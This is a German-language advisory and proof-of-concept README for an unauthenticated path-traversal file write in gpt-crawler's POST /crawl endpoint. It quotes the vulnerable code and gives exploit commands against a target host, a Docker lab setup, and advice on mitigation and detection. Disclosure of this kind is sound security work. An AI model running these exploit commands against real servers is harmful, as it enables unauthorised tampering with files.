
CVE-2026-82286 — gpt-crawler <=1.5.1 unauthentifiziertes beliebiges Datei-Schreiben über outputFileName (POST /crawl). PoC + eigenständiges Docker-Labor. CVSS 8.6, CWE-22.
Proof-of-Concept für ein nicht authentifiziertes beliebiges Dateischreiben in
BuilderIO/gpt-crawler (≈22k ★) über den
Parameter outputFileName des API-Endpunkts POST /crawl.
| CVE | CVE-2026-82286 |
| Produkt | gpt-crawler (BuilderIO) |
| Betroffen | <= 1.5.1 (aktuelle Version; HEAD des Standard-Branches ebenfalls betroffen) |
| Klasse | Pfad-Traversal / Beliebiges Dateischreiben (CWE-22, CWE-73) |
| CVSS 3.1 | 8.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (HOCH) |
| Authentifizierung | Keine (nicht authentifiziert) |
| Voraussetzung | API-Servermodus läuft (npm run start:server) |
| Status | BESTÄTIGT Ende-zu-Ende (Stand 2026-08-29 nicht gepatcht) |
Der API-Server (src/server.ts) stellt POST /crawl ohne Authentifizierung bereit. Der
JSON-Body wird direkt in die Crawler-Config geparst; outputFileName wird nur als
z.string() validiert — es gibt keine Pfadeinschränkung:
// src/config.ts
outputFileName: z.string(),
In src/core.ts erstellt write() den Ausgabepfad direkt aus diesem angreiferkontrollierten
String und ruft darauf fs.writeFile() auf:
// src/core.ts (write)
const nextFileName = (): string =>
`${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));
Ein entfernter, nicht authentifizierter Angreifer kontrolliert daher den vollständigen Pfad einer Datei,
die außerhalb des vorgesehenen storage/-Ausgabebereichs geschrieben wird — über einen absoluten Pfad (/tmp/x,
/home/<user>/x) oder ../-Traversal. Der Datei-Inhalt ist das Crawl-Ergebnis
[{title,url,html}], dessen Felder von einer Seite stammen, auf die der Angreifer den Crawler verweist
(url auf einen von Ihnen kontrollierten Server setzen), sodass der Inhalt angreiferbeeinflusst ist.
Die einzige Einschränkung ist das erzwungene Suffix -<N>.json (der Name endet immer auf .json) und der
JSON-Array-Inhaltswrapper — weshalb dies als beliebiges Dateischreiben (I:H) bewertet wird,
nicht als sauberes RCE.
python3 exploit.py \
-t http://TARGET:3000 \
-u http://ATTACKER:8081/index.html \ # Seite, deren Inhalt in der geschriebenen Datei landet
-o /home/myuser/PWNED # -> schreibt /home/myuser/PWNED-1.json
Der Endpunkt spiegelt den Inhalt der geschriebenen Datei in der HTTP-Antwort wider. Der empirische Beweis ist
die Datei, die am vom Angreifer gewählten Pfad im Ziel-Dateisystem erscheint (siehe EVIDENCE.txt).
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json # <- außerhalb von storage/ geschrieben, nicht authentifiziert
Aufräumen: docker rm -f gptc-vuln; pkill -f 'http.server 8081'.
Ein nicht authentifizierter Netzwerkangreifer kann Dateien an beliebigen Pfaden erstellen oder überschreiben
(vorbehaltlich der Berechtigungen des Prozessbenutzers und des Suffixes -<N>.json) mit teilweise
angreiferkontrolliertem Inhalt. Je nach Bereitstellung ermöglicht dies das Manipulieren von
Konfigurations-/Datendateien, das Überschreiben des Anwendungszustands (Integrität/Verfügbarkeit) und kann auf
Zielen, die später eine geschriebene *.json-Datei verarbeiten, weiter verkettet werden.
Die Senke ist nur im API-Server-Modus erreichbar (src/server.ts, gestartet über
npm run start:server / die containerapp-Bereitstellung), nicht im Standard-CLI-Modus. Der
Server bindet API_HOST (Standard localhost); reale Bereitstellungen, die die API exponieren, setzen es auf
0.0.0.0 (wie das containerapp-Image), wodurch der Endpunkt remote erreichbar wird.
outputFileName gegen ein festes Basisverzeichnis auflösen und das Ergebnis ablehnen, wenn es
dieses verlässt (path.resolve(base, name) + Präfixprüfung); .. und absolute Pfade entfernen.POST /crawl hinzufügen.Achten Sie auf POST /crawl-Bodies, deren outputFileName /, \ oder .. enthält, sowie auf
*-1.json-Dateien, die außerhalb des storage/-Verzeichnisses des Crawlers erscheinen.
Forschung & PoC: Caio Fabrício (BiiTts).